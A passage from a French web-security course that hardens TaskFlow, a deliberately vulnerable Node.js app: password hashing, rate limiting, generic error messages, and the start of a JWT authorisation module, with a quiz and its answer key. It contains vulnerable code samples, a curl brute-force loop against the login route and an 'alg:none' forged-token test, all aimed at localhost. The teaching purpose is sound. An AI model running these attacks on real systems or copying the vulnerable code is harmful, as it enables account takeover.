  stmt.run(email, password, 'user'); // VULN: password en clair
  res.json({ message: 'User created' });
});
```

Code corrigé (après) :

```
// server/routes/auth.js, APRÈS (sécurisé)
const bcrypt = require('bcryptjs');

router.post('/register', async (req, res) => {
  const { email, password } = req.body;

  if (!email || !password) {
    return res.status(400).json({ error: 'email and password required' });
  }

  // Politique de mot de passe : 12 chars minimum
  if (password.length < 12) {
    return res.status(400).json({ error: 'Password must be at least 12
characters' });
  }

  try {
    const hash = await bcrypt.hash(password, 12); // coût 12
    const stmt = db.prepare('INSERT INTO users (email, password, role) VALUES
(?, ?, ?)');
    stmt.run(email, hash, 'user');
    res.status(201).json({ message: 'User created' });
  } catch (err) {
    // Pas de fuite de stack trace
    res.status(500).json({ error: 'Registration failed' });
  }
});
```

CONCEPT 2, Sel (salt)

Rappel. Un sel est une valeur aléatoire unique ajoutée à chaque mot de passe avant le hachage. Sans sel, deux utilisateurs avec le même mot de passe auraient le même hash, une attaque par table arc-en-ciel (rainbow table) préalablement calculée permettrait de casser des milliers de comptes d'un coup. Avec sel, chaque hash est unique même si les mots de passe sont identiques. **bcrypt intègre le sel automatiquement** dans le hash produit, il n'y a rien à gérer manuellement. Le hash stocké contient le sel, le coût et le hash : `$2b$12$[sel_22chars][hash_31chars]` .

Risque concret	Sans sel, une base de 1000 comptes avec <code>"password123"</code> produit 1000 fois le même hash. Une seule entrée dans la rainbow table compromet 1000 comptes.
Exemple de faille	<code>sha256("password123")</code> produit toujours <code>ef92b778 ...</code> , prévisible et pré-calculable
À vérifier dans l'app	Après migration, chaque ligne de <code>users.password</code> doit commencer par <code>\$2b\$12\$</code> et être unique
Correction	<code>bcrypt</code> gère le sel automatiquement, utiliser <code>bcrypt.hash(pwd, 12)</code> suffit
Test de validation	<code>SELECT password FROM users WHERE role='user'</code> : les 2 hashes doivent être différents même si <code>alice123</code> et <code>bob456</code> ont des longueurs similaires
Trace rapport	“Les hashes <code>bcrypt</code> stockés intègrent un sel unique par compte (visible dans les 22 premiers caractères après <code>\$2b\$12\$</code>). Une attaque par rainbow table est inefficace car chaque hash est unique.”

Illustration du format `bcrypt` :

```
$2b$12$N9qo8uL0ickgx2ZMRZoMyeIjZAgcf17p92ldGxad68LJZdL17lhWy
| | |-----|-----|
| | sel aléatoire (22 chars) hash du mot de passe (31 chars)
| coût (2^12 = 4096 itérations)
| algorithme bcrypt
```

CONCEPT 3, `bcrypt` vs `argon2`

Rappel. `bcrypt` (1999) et `argon2` (2015, vainqueur Password Hashing Competition) sont tous deux conçus pour être lents et coûteux en mémoire, c'est intentionnel pour ralentir les attaques par force brute. **`bcrypt`** : paramètre de coût (`saltRounds`), large adoption, bibliothèque stable. **`argon2`** : plus récent, paramètres mémoire + temps + parallélisme, recommandé pour les nouveaux projets. Pour ce cours, on utilise **`bcryptjs`** (pure JS, pas de dépendance native) avec un coût de 12, ce qui donne ~250ms de calcul par hash, acceptable pour le login, dissuasif pour l'attaque.

Risque concret	SHA-256 sans sel calcule 10 milliards de hashes/seconde sur un GPU. bcrypt coût 12 : ~250ms/hash, rend le brute force des milliers de fois moins efficace.
Exemple de faille	MD5 ou SHA-256 pour stocker des mots de passe (encore présent dans des apps legacy)
À vérifier dans l'app	<code>package.json</code> contient-il <code>bcryptjs</code> ? Est-il utilisé dans <code>auth.js</code> avec <code>await</code> ?
Correction	<code>npm install bcryptjs</code> (déjà dans <code>package.json</code>) + utiliser <code>bcrypt.hash(pwd, 12)</code>
Test de validation	<code>node -e "const b=require('bcryptjs'); b.hash('test',12).then(h=>console.log(h.startsWith('\$2b\$12\$')))"</code> doit afficher <code>true</code>
Trace rapport	“L’algorithme de hachage bcryptjs (coût 12, ~250ms/hash) a été sélectionné. Ce coût rend une attaque par dictionnaire de 10 000 mots de passe non-parallélisable en moins de 41 minutes par thread d’attaque.”

CONCEPT 4, Politique de mot de passe

Rappel. Les recherches (NIST SP 800-63B) montrent que la **longueur** est plus efficace que la complexité forcée (majuscules + chiffres + symboles). Un mot de passe de 16 caractères simples est plus solide qu’un de 8 caractères complexes. Les règles de complexité poussent les utilisateurs à des patterns prévisibles (`Password1!`). Recommandation NIST actuelle : minimum 8 caractères (12 en entreprise), pas de rotation forcée, pas de règles de complexité absurdes, vérification contre les listes de mots de passe compromis si possible.

Risque concret	TaskFlow accepte actuellement <code>"a"</code> comme mot de passe valide. <code>alice123</code> (7 chars) est dans les 1000 premiers mots de passe les plus courants.
Exemple de faille	<code>POST /auth/register</code> <code>{"email": "x@x.com", "password": "a"}</code> , crée un compte avec mot de passe d'1 caractère
À vérifier dans l'app	Existe-t-il une validation de longueur dans <code>register</code> ?
Correction	Ajouter <code>if (password.length < 12) return res.status(400).json({ ... })</code>
Test de validation	<code>curl -X POST</code> <code>http://localhost:3000/auth/register -H</code> <code>"Content-Type: application/json" -d</code> <code>'{"email": "test@test.com", "password": "court"}'</code> doit retourner 400
Trace rapport	“Une validation de politique de mot de passe a été ajoutée dans <code>/auth/register</code> : longueur minimum 12 caractères. Les mots de passe <code>alice123</code> et <code>bob456</code> des comptes de test ont été rejetés et remplacés lors de la migration.”

CONCEPT 5, Messages d'erreur génériques

Rappel. Quand un attaquant teste `POST /login` avec un email, la réponse lui apprend s'il est sur la bonne piste : `"User not found"` confirme que l'email n'existe pas, `"Wrong password"` confirme que l'email existe. Cette information permet d'**énumérer les comptes** : il suffit de tester des emails jusqu'à obtenir "Wrong password". La correction est simple : retourner le même message dans les deux cas. Retour attendu : `"Identifiants invalides"` ou `"Invalid credentials"`, quelle que soit la cause du refus.

Risque concret	En 10 minutes avec une liste d'emails courants (HaveIBeenPwned), un attaquant peut identifier tous les comptes existants dans TaskFlow.
Exemple de faille	<code>server/routes/auth.js</code> lignes 52-55 : deux messages d'erreur différents
À vérifier dans l'app	<code>grep -n "not found\ wrong\ incorrect\ invalid" server/routes/auth.js</code>
Correction	Un seul message dans tous les cas de refus + même code HTTP (401)
Test de validation	<code>curl -X POST http://localhost:3000/auth/login -d '{"email":"inconnu@x.com","password":"x"}'</code> et <code>curl -X POST http://localhost:3000/auth/login -d '{"email":"alice@taskflow.io","password":"mauvais"}'</code> doivent retourner le même corps JSON
Trace rapport	“La faille d'énumération de comptes (M2-2) a été corrigée. Les routes <code>/auth/login</code> retournent désormais <code>{"error":"Identifiants invalides"}</code> dans tous les cas de refus, sans différencier compte inexistant et mot de passe incorrect.”

Code vulnérable (avant) :

```
// AVANT, deux messages différents = énumération possible
if (!user) {
  return res.status(401).json({ error: 'User not found' }); // révèle que
  le compte n'existe pas
}
if (user.password !== password) {
  return res.status(401).json({ error: 'Wrong password' }); // révèle que
  le compte existe
}
```

Code corrigé (après) :

```
// APRÈS, message uniforme
const user = db.prepare('SELECT * FROM users WHERE email = ?').get(email);

if (!user) {
  return res.status(401).json({ error: 'Identifiants invalides' });
}

const passwordMatch = await bcrypt.compare(password, user.password);
if (!passwordMatch) {
  return res.status(401).json({ error: 'Identifiants invalides' });
}
```


CONCEPT 6, Rate limiting / anti-brute force

Rappel. Sans limite de taux, un attaquant peut tester des milliers de mots de passe par seconde sur `/login`. `express-rate-limit` compte les requêtes par IP (ou par compte) sur une fenêtre de temps et bloque quand le seuil est atteint. Configuration recommandée pour le login : **5 tentatives par 15 minutes par IP**. Après le blocage, répondre avec `429 Too Many Requests`. Important : le message de blocage ne doit pas confirmer que le compte existe, utiliser le même message générique.

Risque concret	Sans rate limit, <code>rockyou.txt</code> (14 millions de mots de passe) peut être testé en quelques minutes si le serveur est rapide. Même avec <code>bcrypt</code> , $250\text{ms} \times N$ requêtes parallèles reste faisable.
Exemple de faille	Boucle curl ci-dessous, 10 tentatives sans aucun blocage
À vérifier dans l'app	<code>grep -r "rateLimit\ rate-limit\ express-rate" server/</code> , doit retourner vide dans la version vulnérable
Correction	<code>npm install express-rate-limit + middleware</code> sur <code>/auth/login</code>
Test de validation	6 tentatives consécutives → la 6ème retourne HTTP 429
Trace rapport	“Un rate limiter a été ajouté sur <code>/auth/login</code> : 5 tentatives par 15 minutes par adresse IP (<code>express-rate-limit v7</code>). Les tentatives au-delà du seuil retournent HTTP 429 avec le message <code>\\"Trop de tentatives, réessayez dans 15 minutes.\\"</code> .”

Code corrigé :

```
// server/routes/auth.js, ajout en haut du fichier
const rateLimit = require('express-rate-limit');

const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 5, // 5 tentatives max par IP
  message: { error: 'Trop de tentatives, réessayez dans 15 minutes.' },
  standardHeaders: true, // retourne les headers RateLimit-*
  legacyHeaders: false,
});

// Appliquer uniquement sur /login
router.post('/login', loginLimiter, async (req, res) => {
  // ... reste du code
});
```

CONCEPT 7, Stockage sécurisé des identifiants

Rappel. Un mot de passe ne doit jamais apparaître dans les logs, même en développement. Les logs sont souvent moins bien protégés que la base de données (rotation, accès en lecture, archivage externe). `console.log('login attempt:', email, password)` expose le mot de passe en clair dans les logs serveur. Il faut aussi vérifier que les variables d'environnement contenant des secrets ne sont pas loggées au démarrage. Règle : **ne logger que ce qui est nécessaire au débogage sans inclure de données sensibles.**

Risque concret	Les logs d'un serveur Node.js sont souvent lisibles par tous les processus du même serveur. Un attaquant avec accès SSH limité peut lire les tentatives de login avec mots de passe.
Exemple de faille	<code>server/routes/auth.js</code> ligne 44 : <code>console.log('login attempt:', email, password)</code>
À vérifier dans l'app	<code>grep -rn "console.log" server/ \\ grep -i "password\ pwd\ secret\ token"</code>
Correction	Logger uniquement l'email (jamais le mot de passe): <code>console.log('login attempt:', email)</code>
Test de validation	Déclencher un login depuis le terminal, vérifier les logs serveur, aucune valeur de password ne doit apparaître
Trace rapport	“La faille M6-1 (log du mot de passe en clair) a été corrigée. La ligne <code>console.log('login attempt:', email, password)</code> a été remplacée par <code>console.log('login attempt:', email)</code> . Vérification: <code>grep -n 'password' server/routes/auth.js</code> ne retourne aucune ligne de log.”

Audit rapide des logs sensibles :

```
# Vérifier tous les console.log potentiellement dangereux
grep -rn "console.log" vuln-app/server/ | grep -iE
"password|pwd|secret|token|key"
```

TP complet, Étapes séquentielles

Étape 1, Audit du code auth actuel (10 min)

```
# Lire le fichier d'authentification
cat vuln-app/server/routes/auth.js

# Vérifier les mots de passe dans la DB
cd vuln-app
node -e "
  const db = require('./server/db');
  const users = db.prepare('SELECT id, email, password FROM users').all();
  users.forEach(u => console.log(u.id, u.email, '|', u.password));
"
```

Ce que tu dois voir :

```
1 alice@taskflow.io | alice123      ← mot de passe en clair
2 bob@taskflow.io | bob456         ← mot de passe en clair
3 admin@taskflow.io | adminpass    ← mot de passe en clair
```

Liste des failles à corriger :

#	FAILLE	LIGNE DANS AUTH.JS	MODULE
F1	Mot de passe stocké en clair	~24 (INSERT)	M2
F2	Comparaison en clair au lieu de bcrypt.compare	~52	M2
F3	Message "User not found" vs "Wrong password"	~49, ~54	M2
F4	Pas de rate limit sur /login	,	M2
F5	Log du mot de passe	~44	M2
F6	Pas de politique de mot de passe	,	M2

Étape 2, Démonstration de l'exploit (10 min)

⚠ Cette étape montre pourquoi les corrections sont nécessaires. Ne jamais utiliser ces techniques sur une app non autorisée.

2a, Énumération de comptes (avant correction) :

```
# Test avec un email inexistant → "User not found"
curl -s -X POST http://localhost:3000/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email": "inconnu@exemple.com", "password": "test"}' | jq .

# Test avec un email existant → "Wrong password"
curl -s -X POST http://localhost:3000/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email": "alice@taskflow.io", "password": "test"}' | jq .
```

Résultat attendu (vulnérable) :

```
{"error": "User not found"}    ← l'email n'existe pas
{"error": "Wrong password"}   ← l'email EXISTE, information précieuse
```

2b, Brute force (avant correction) :

```
# Simuler un brute force simple (10 tentatives sans blocage)
for i in $(seq 1 10); do
  curl -s -X POST http://localhost:3000/auth/login \
    -H "Content-Type: application/json" \
    -d '{"email": "alice@taskflow.io", "password": "tentative$i"}'
  echo ""
done
# Toutes les 10 requêtes passent, pas de blocage
```

Résultat attendu (vulnérable) : 10 réponses `{"error": "Wrong password"}`, jamais de 429.

Étape 3, Correction bcrypt + migration (20 min)

3a, Installer les dépendances :

```
cd vuln-app
# bcryptjs est déjà dans package.json, vérifier :
cat package.json | grep bcryptjs
# Si absent : npm install bcryptjs
# express-rate-limit à ajouter :
npm install express-rate-limit
```

3b, Réécrire `server/routes/auth.js` :

```

/**
 * auth.js, Routes d'authentification (VERSION CORRIGÉE M2)
 *
 * Corrections apportées :
 * M2-1 : bcrypt.hash() dans /register, bcrypt.compare() dans /login
 * M2-2 : messages d'erreur uniformes ("Identifiants invalides")
 * M2-3 : rate limiting 5 req / 15 min sur /login
 * M2-4 : politique mdp 12 chars minimum
 * M6-1 : suppression log du mot de passe
 */

const express = require('express');
const bcrypt = require('bcryptjs');
const jwt = require('jsonwebtoken');
const rateLimit = require('express-rate-limit');
const db = require('../db');

const router = express.Router();

const JWT_SECRET = process.env.JWT_SECRET || 'CHANGE_ME_IN_PRODUCTION';

// Rate limiter : 5 tentatives de login par 15 minutes par IP
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 5,
  message: { error: 'Trop de tentatives, réessayez dans 15 minutes.' },
  standardHeaders: true,
  legacyHeaders: false,
});

/**
 * POST /auth/register
 */
router.post('/register', async (req, res) => {
  const { email, password } = req.body;

  if (!email || !password) {
    return res.status(400).json({ error: 'email and password required' });
  }

  // M2-4 : politique de mot de passe
  if (password.length < 12) {
    return res.status(400).json({ error: 'Le mot de passe doit contenir au moins 12 caractères' });
  }

  try {
    // M2-1 : hashage bcrypt coût 12
    const hash = await bcrypt.hash(password, 12);
    const stmt = db.prepare('INSERT INTO users (email, password, role) VALUES (?, ?, ?)');
    stmt.run(email, hash, 'user');
    res.status(201).json({ message: 'Compte créé' });
  } catch (err) {
    if (err.message.includes('UNIQUE constraint')) {
      return res.status(409).json({ error: 'Cet email est déjà utilisé' });
    }
    res.status(500).json({ error: 'Erreur lors de la création du compte' });
  }
});

```

```

    }
  });

  /**
   * POST /auth/login
   */
  router.post('/login', loginLimiter, async (req, res) => {
    const { email, password } = req.body;

    // M6-1 : ne loguer QUE l'email, jamais le mot de passe
    console.log('login attempt:', email);

    if (!email || !password) {
      return res.status(400).json({ error: 'email and password required' });
    }

    try {
      const user = db.prepare('SELECT * FROM users WHERE email = ?').get(email);

      // M2-2 : même message quel que soit le motif de refus
      if (!user) {
        return res.status(401).json({ error: 'Identifiants invalides' });
      }

      // M2-1 : comparaison via bcrypt
      const passwordMatch = await bcrypt.compare(password, user.password);
      if (!passwordMatch) {
        return res.status(401).json({ error: 'Identifiants invalides' });
      }

      const token = jwt.sign(
        { id: user.id, email: user.email, role: user.role },
        JWT_SECRET,
        { expiresIn: '2h' } // durée réduite (7d était excessif)
      );

      res.json({ token, role: user.role });
    } catch (err) {
      res.status(500).json({ error: 'Erreur lors de la connexion' });
    }
  });

  module.exports = router;
  module.exports.JWT_SECRET = JWT_SECRET;

```

3c, Script de migration `scripts/migrate-passwords.js` :

```
mkdir -p vuln-app/scripts
```

```
// scripts/migrate-passwords.js
// Migre les mots de passe en clair vers bcrypt
// Usage : node scripts/migrate-passwords.js

const bcrypt = require('bcryptjs');
const Database = require('better-sqlite3');
const path = require('path');

const DB_PATH = path.join(__dirname, '..', 'db', 'taskflow.db');
const db = new Database(DB_PATH);

const SALT_ROUNDS = 12;

async function migratePasswords() {
  const users = db.prepare('SELECT id, email, password FROM users').all();

  console.log(`Migration de ${users.length} comptes ...`);

  for (const user of users) {
    // Détecter si le mot de passe est déjà hashé (bcrypt commence par $2b$)
    if (user.password.startsWith('$2b$') || user.password.startsWith('$2a$')) {
      console.log(` ✓ ${user.email} : déjà hashé, ignoré`);
      continue;
    }

    const hash = await bcrypt.hash(user.password, SALT_ROUNDS);
    db.prepare('UPDATE users SET password = ? WHERE id = ?').run(hash,
user.id);
    console.log(` ✓ ${user.email} : migré (plain → bcrypt)`);
  }

  console.log('Migration terminée.');
```

```
  // Vérification
  const sample = db.prepare('SELECT email, password FROM users LIMIT
1').get();
  console.log(`\nVérification : ${sample.email} →
${sample.password.substring(0, 20)} ...`);
  console.log(`Hash valide : ${sample.password.startsWith('$2b$')}`);
}

migratePasswords().catch(console.error);
```

Exécuter la migration :

```
cd vuln-app
node scripts/migrate-passwords.js
```

Résultat attendu :

```

Migration de 3 comptes ...
  ✓ alice@taskflow.io : migré (plain → bcrypt)
  ✓ bob@taskflow.io : migré (plain → bcrypt)
  ✓ admin@taskflow.io : migré (plain → bcrypt)
Migration terminée.

Vérification : alice@taskflow.io → $2b$12$N9qo8uL0ickgx2 ...
Hash valide : true

```

Étape 4, Vérification des messages d'erreur (5 min)

```

# Démarrer l'app si pas déjà lancée
# node vuln-app/server/index.js &

# Test 1 : email inexistant
curl -s -X POST http://localhost:3000/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"inconnu@exemple.com","password":"test"}'
# Attendu : {"error":"Identifiants invalides"}

# Test 2 : email existant, mauvais mdp
curl -s -X POST http://localhost:3000/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"alice@taskflow.io","password":"mauvaismdp"}'
# Attendu : {"error":"Identifiants invalides"} ← MÊME message qu'au-dessus

```

✓ **Point de vérification** : les deux réponses ont exactement le même corps JSON.

Étape 5, Test du rate limiting (10 min)

```

# Envoyer 6 requêtes, la 6ème doit retourner 429
for i in $(seq 1 6); do
  echo -n "Tentative $i : "
  curl -s -o /dev/null -w "%{http_code}" -X POST
  http://localhost:3000/auth/login \
    -H "Content-Type: application/json" \
    -d '{"email":"alice@taskflow.io","password":"tentative$i"}'
  echo ""
done

```

Résultat attendu :

```

Tentative 1 : 401
Tentative 2 : 401
Tentative 3 : 401
Tentative 4 : 401
Tentative 5 : 401
Tentative 6 : 429 ← bloqué

```


Étape 6, Tests de validation complets (10 min)

```
# Test 1 : Politique de mot de passe, mot de passe trop court
curl -s -X POST http://localhost:3000/auth/register \
  -H "Content-Type: application/json" \
  -d '{"email":"test@test.com","password":"court"}' | jq .
# Attendu : 400 + message longueur minimum

# Test 2 : Inscription valide avec mot de passe fort
curl -s -X POST http://localhost:3000/auth/register \
  -H "Content-Type: application/json" \
  -d '{"email":"newuser@test.com","password":"motDePasseLong2024!"}' | jq .
# Attendu : 201 + {"message":"Compte créé"}

# Test 3 : Login valide (alice après migration)
# Note : alice123 ne fonctionnera plus, mot de passe trop court si re-
register
# Utiliser le compte newuser créé ci-dessus :
curl -s -X POST http://localhost:3000/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"newuser@test.com","password":"motDePasseLong2024!"}' | jq .
# Attendu : {"token":"eyJ...","role":"user"}

# Test 4 : Vérifier la DB, tous les hashes commencent par $2b$
node -e "
  const db = require('./server/db');
  const users = db.prepare('SELECT email, password FROM users').all();
  users.forEach(u => {
    const ok = u.password.startsWith('\$2b\$');
    console.log(ok ? '✓' : 'X', u.email, '|', u.password.substring(0, 20) +
' ... ');
  });
"

# Test 5 : Vérifier aucun password dans les logs
grep -n "password" vuln-app/server/routes/auth.js | grep "console.log"
# Attendu : aucune ligne
```

Atelier : Stockage sécurisé des identifiants

Cet atelier complète la correction M2 en s'assurant qu'aucun chemin de code ne fuit d'identifiants.

Audit systématique :

```
# 1. Chercher tous les console.log avec données sensibles
grep -rn "console\.log\|console\.error\|console\.warn" vuln-app/server/ \
| grep -iE "password|pwd|secret|token|key|credential"

# 2. Vérifier que JWT_SECRET vient bien de l'environnement
grep -n "JWT_SECRET" vuln-app/server/routes/auth.js
# Attendu : process.env.JWT_SECRET, pas de valeur en dur

# 3. Vérifier que .env n'est pas commité
git -C vuln-app log --oneline --all -- .env
# Attendu : aucune ligne (fichier jamais commité)

# 4. Vérifier le contenu de db.js, credentials en dur (VULN M6 hors périmètre M2)
grep -n "const DB_" vuln-app/server/db.js
# Ces constantes inutilisées seront corrigées en M6
```

Résultat attendu de l'audit M2 :

CHECK	RÉSULTAT	STATUT
Aucun <code>console.log(password)</code>	o ligne trouvée	✓
JWT_SECRET depuis <code>process.env</code>	Ligne trouvée	✓
<code>.env</code> non commité	Aucun commit	✓
Hash bcrypt dans tous les mots de passe	<code>\$2b\$</code> pour chaque user	✓

Mini-quiz du module (8 QCM)

Q1. Quelle est la différence principale entre hachage et chiffrement ?

- A. Le hachage utilise une clé, le chiffrement non
- B. Le hachage est irréversible, le chiffrement est réversible avec la clé
- C. Le hachage est plus rapide que le chiffrement
- D. Il n'y a pas de différence pour stocker des mots de passe

Q2. À quoi sert le sel (salt) dans bcrypt ?

- A. À ralentir le calcul du hash
- B. À éviter que deux mots de passe identiques produisent le même hash
- C. À chiffrer le mot de passe avant le hachage
- D. À allonger le mot de passe automatiquement

Q3. Quel message d'erreur de login évite l'énumération de comptes ?

- A. "Utilisateur non trouvé"

- B. “Mot de passe incorrect”
- C. “Identifiants invalides”
- D. “Email ou mot de passe incorrect”

Q4. Le cost factor 12 de bcrypt signifie :

- A. 12 octets de sel
- B. 12 secondes de calcul minimum
- C. $2^{12} = 4096$ itérations de hachage
- D. Une longueur de hash de 12 caractères

Q5. Qu’est-ce qu’une rainbow table ?

- A. Une table de couleurs pour interfaces graphiques
- B. Une base de données de hashes précalculés associés à leurs mots de passe sources
- C. Un outil de gestion de sessions
- D. Une technique de salage automatique

Q6. Le rate limiting sur `/login` est configuré à 5 req / 15 min. La 6ème tentative retourne :

- A. HTTP 401 comme les précédentes
- B. HTTP 403 Forbidden
- C. HTTP 429 Too Many Requests
- D. HTTP 503 Service Unavailable

Q7. Pourquoi bcrypt est-il préféré à SHA-256 pour les mots de passe ?

- A. bcrypt produit des hashes plus courts
- B. SHA-256 n’accepte pas les caractères spéciaux
- C. bcrypt est intentionnellement lent (coût configurable), SHA-256 est trop rapide pour le brute force
- D. bcrypt est compatible avec tous les navigateurs

Q8. Dans le script de migration, pourquoi vérifier `password.startsWith('$2b$')` ?

- A. Pour vérifier que le mot de passe est assez long
- B. Pour éviter de double-hash un mot de passe déjà migré
- C. Pour valider la politique de mot de passe
- D. C’est une syntaxe bcrypt obligatoire

Corrigé

Q	RÉPONSE	POURQUOI
Q1	B	Hachage unidirectionnel = irréversible ; chiffrement = réversible avec clé
Q2	B	Le sel garantit l'unicité des hashes même pour mots de passe identiques
Q3	C	"Identifiants invalides" ne révèle ni si l'email existe ni si c'est le mot de passe
Q4	C	cost=12 → 2 ¹² tours d'itération → ~250ms sur hardware moderne
Q5	B	Base de hashes précalculés ; le sel les rend inefficaces
Q6	C	429 Too Many Requests est le code standard pour rate limiting
Q7	C	SHA-256 : ~10 milliards hashes/s sur GPU. bcrypt coût 12 : ~250ms/hash
Q8	B	Un hash bcrypt commence toujours par \$2b\$ ou \$2a\$; évite la double migration

Livraison du module

- ✓ `server/routes/auth.js` corrigé (bcrypt, messages génériques, rate limit, pas de log mdp)
- ✓ `scripts/migrate-passwords.js` créé et exécuté avec succès
- ✓ Base de données migrée : `SELECT password FROM users` retourne des hashes
\$2b\$12\$...
- ✓ Tests de validation passés : 6 commandes curl avec résultats documentés
- ✓ Section M2 ajoutée au rapport d'audit dans `docs/audit-report.md`
- ✓ Captures dans `proofs/M2/` (screenshots des tests curl ou output terminal)
- ✓ Commit avec tag `M2-auth-securise`

```
# Commit final
git add server/routes/auth.js scripts/migrate-passwords.js package.json
git commit -m "M2: correction auth, bcrypt + rate limit + messages génériques
+ migration mdp"
git tag M2-auth-securise

# Vérification du tag
git log --oneline -2
git tag
```

Section à ajouter dans docs/audit-report.md :

```
## Module M2, Authentification

### Failles corrigées

| ID | Faille | Sévérité | Statut |
|----|-----|-----|-----|
| M2-1 | Mots de passe en clair (INSERT + comparaison) | Critique | ✓ Corrigé |
| M2-2 | Énumération de comptes (messages d'erreur différenciés) | Haute | ✓ Corrigé |
| M2-3 | Pas de rate limiting sur /login | Haute | ✓ Corrigé |
| M2-4 | Politique de mot de passe absente | Moyenne | ✓ Corrigé |
| M6-1 | Log du mot de passe en clair | Haute | ✓ Corrigé |

### Preuves techniques

- Hash bcrypt dans la DB : `SELECT password FROM users LIMIT 1` →
`$2b$12$...`
- Rate limit actif : 6ème tentative de login → HTTP 429
- Messages uniformes : email inexistant et mauvais mdp → même réponse JSON
- Politique mdp : `POST /register` avec "court" → HTTP 400

### Risques résiduels M2

- Pas de 2FA : accepté (hors périmètre)
- Pas de vérification contre listes compromises (HaveIBeenPwned) : reporté
```

Erreurs fréquentes à éviter

- ⚠ **Oublier** `await` avec `bcrypt` : `bcrypt.hash()` et `bcrypt.compare()` retournent des Promises. Sans `await`, la route retourne `undefined` comme résultat de comparaison et tous les logins passent.
- ⚠ **Double migration** : exécuter le script deux fois sans vérification `startsWith('$2b$')` hash deux fois le mot de passe déjà hashé → login impossible.
- ⚠ **Rate limit trop agressif** : 3 req/5 min bloque les utilisateurs légitimes qui tapent mal leur mot de passe. Calibrer selon le contexte.
- ⚠ **Laisser** `const JWT_SECRET = "secret123"` dans le code : même si on le lit depuis `.env`, le fallback en dur est dangereux. En production, démarrer en erreur si la variable est absente.
- ⚠ **Confondre** `bcrypt.hash()` et `bcrypt.hashSync()` : les versions synchrones bloquent l'évent loop Node.js. Toujours utiliser les versions async dans les routes Express.
- ⚠ **Tester le rate limit depuis le même terminal sans reset** : après 5 tentatives, l'IP est bloquée 15 min. Pour re-tester, redémarrer le serveur (le store en mémoire se réinitialise).

Ressources

- [OWASP A02:2021, Cryptographic Failures](#)
- [OWASP A07:2021, Identification and Authentication Failures](#)
- [OWASP Password Storage Cheat Sheet](#)
- [OWASP Authentication Cheat Sheet](#)
- [NIST SP 800-63B, Digital Identity Guidelines](#)
- [bcryptjs npm](#)
- [express-rate-limit npm](#)
- [HaveIBeenPwned Passwords API](#)

MODULE 3

Décider qui peut quoi



Module 3. Décider qui peut quoi

Durée : 1h30 | **Application :** TaskFlow (Node.js + Express + SQLite, port 3000) **Objectif :** Corriger toutes les failles d'autorisation, IDOR, JWT mal signé, middleware admin défaillant.

Failles présentes dans l'app (à corriger dans ce module)

#	FAILLE	FICHIER CONCERNÉ
1	JWT signé avec secret "secret123" en dur	auth.js
2	Pas d'expiration du JWT	auth.js
3	Route GET /tasks/:id , pas de vérification task.user_id === req.user.id (IDOR)	routes/tasks.js
4	Route /admin/users , middleware vérifie if (req.user) au lieu du rôle	routes/admin.js
5	JWT stocké en localStorage (XSS-vulnérable) côté client	public/app.js

1. Sessions vs Tokens (JWT)

Concept Une **session** est stockée côté serveur : le serveur garde l'état de chaque utilisateur connecté (stateful). Un **token JWT** est auto-contenu : toutes les informations sont dans le token, le serveur ne stocke rien (stateless). JWT favorise la scalabilité mais transfère la responsabilité de validation côté serveur à chaque requête.

Risque concret Si l'app mélange les deux approches ou que la stratégie n'est pas claire, les vérifications d'identité peuvent être incohérentes ou contournées.

Exemple de faille

```
// ⚠️ Faille : app utilise JWT mais vérifie aussi req.session, comportement imprévisible
if (req.session.user || req.user) {
  // accès accordé sans savoir lequel est valide
}
```

Action pratique Ouvrir `auth.js` et `middleware/authenticate.js`. Confirmer que l'app utilise exclusivement JWT (aucune référence à `express-session`). Documenter : “cette app est stateless JWT-only”.

Test de validation

```
# Vérifier qu'aucun cookie de session n'est créé
curl -v -X POST http://localhost:3000/login \
  -H "Content-Type: application/json" \
  -d '{"username":"alice","password":"password123"}' 2>&1 | grep -i "set-cookie"
# Résultat attendu après correction : Set-Cookie contient httpOnly, pas de session id
```

Trace rapport > “L’application utilise une stratégie JWT stateless. Aucune session serveur n’est maintenue. La stratégie d’authentification est uniforme sur l’ensemble des routes.”

2. Structure d’un JWT

Concept Un JWT est composé de trois parties encodées en Base64URL, séparées par des points : `header.payload.signature`. Le **header** indique l’algorithme (`HS256`, `RS256`). Le **payload** contient les claims (données : `userId`, `role`, `exp`). La **signature** garantit l’intégrité, elle est calculée avec le secret. Le contenu du payload est **lisible** par quiconque : ne jamais y mettre de données sensibles (mot de passe, CC).

Risque concret Un attaquant peut décoder le payload (Base64 ≠ chiffrement) et observer les données. Si l’algorithme est `"alg": "none"`, certaines librairies acceptent un token sans signature.

Exemple de faille

```
// ⚠️ Faille : algorithme "none" accepté par certaines configs
const token = jwt.sign({ userId: 1, role: 'admin' }, '', { algorithm: 'none' });
// Token forgé sans secret, accepté si la vérification n'impose pas l'algorithme
```

Action pratique 1. Copier un token existant depuis Postman ou la réponse `/login`. 2. Aller sur jwt.io, coller le token. 3. Observer le payload : noter les champs présents (`userId`, `role`, présence ou absence de `exp`). 4. Vérifier dans `auth.js` que `jwt.verify()` impose bien `algorithms: ['HS256']`.

Test de validation

```
# Générer un token "none" et tenter l'accès
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/'
'-' '_')
PAYLOAD=$(echo -n '{"userId":1,"role":"admin"}' | base64 | tr -d '=' | tr
'+/' '-_')
TOKEN_NONE="${HEADER}.${PAYLOAD}."
curl http://localhost:3000/admin/users \
  -H "Authorization: Bearer ${TOKEN_NONE}"
# Résultat attendu après correction : 401 Unauthorized
```

Trace rapport > “La structure JWT a été auditée sur jwt.io. Le payload expose userId et role (non sensible). La vérification impose l’algorithme HS256, les tokens ‘alg:none’ sont rejetés.”

3. Secret de signature

Concept Le secret JWT est la clé de confiance : quiconque le connaît peut forger n’importe quel token valide. Un secret court ou prévisible ("secret" , "123456" , nom du projet) peut être bruteforcé en quelques secondes avec des outils comme `hashcat` ou des listes de secrets JWT connus. Le secret doit être long (≥ 32 octets), aléatoire, et stocké exclusivement en variable d’environnement.

Risque concret Avec "secret123" , un attaquant peut forger un token { role: "admin" } en quelques secondes et accéder à toutes les routes protégées.

Exemple de faille

```
// ⚠️ Faille : secret en dur, trop court, prévisible
